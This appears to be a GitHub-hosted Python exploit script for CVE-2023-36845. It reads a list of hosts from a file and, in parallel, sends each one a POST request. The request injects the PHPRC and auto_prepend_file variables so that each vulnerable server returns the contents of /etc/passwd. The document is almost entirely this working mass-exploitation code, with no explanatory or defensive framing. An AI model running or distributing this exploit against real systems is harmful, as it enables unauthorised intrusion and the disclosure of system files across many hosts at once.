-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2023–36845.py
37 lines (30 loc) · 1.2 KB
/
CVE-2023–36845.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import concurrent.futures
import requests
def add_host(host):
url = f"http://{host.strip()}"
files = {
"auto_prepend_file": (None, "/etc/passwd\n"),
"PHPRC": (None, "/dev/fd/0")
}
try:
response = requests.post(url, files=files)
return host.strip(), response.status_code, response.text
except requests.RequestException as e:
return host.strip(), None, str(e)
def main():
with open("hosts.txt", "r") as f:
hosts = f.readlines()
# Use a ThreadPoolExecutor for concurrent execution
with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
# Submit tasks for each host and store the Future objects
future_to_host = {executor.submit(add_host, host): host for host in hosts}
for future in concurrent.futures.as_completed(future_to_host):
host = future_to_host[future]
try:
host_name, status_code, response_text = future.result()
print(f"Host: {host_name}, Status Code: {status_code}")
print(response_text)
except Exception as e:
print(f"Host: {host}, Error: {str(e)}")
if __name__ == "__main__":
main()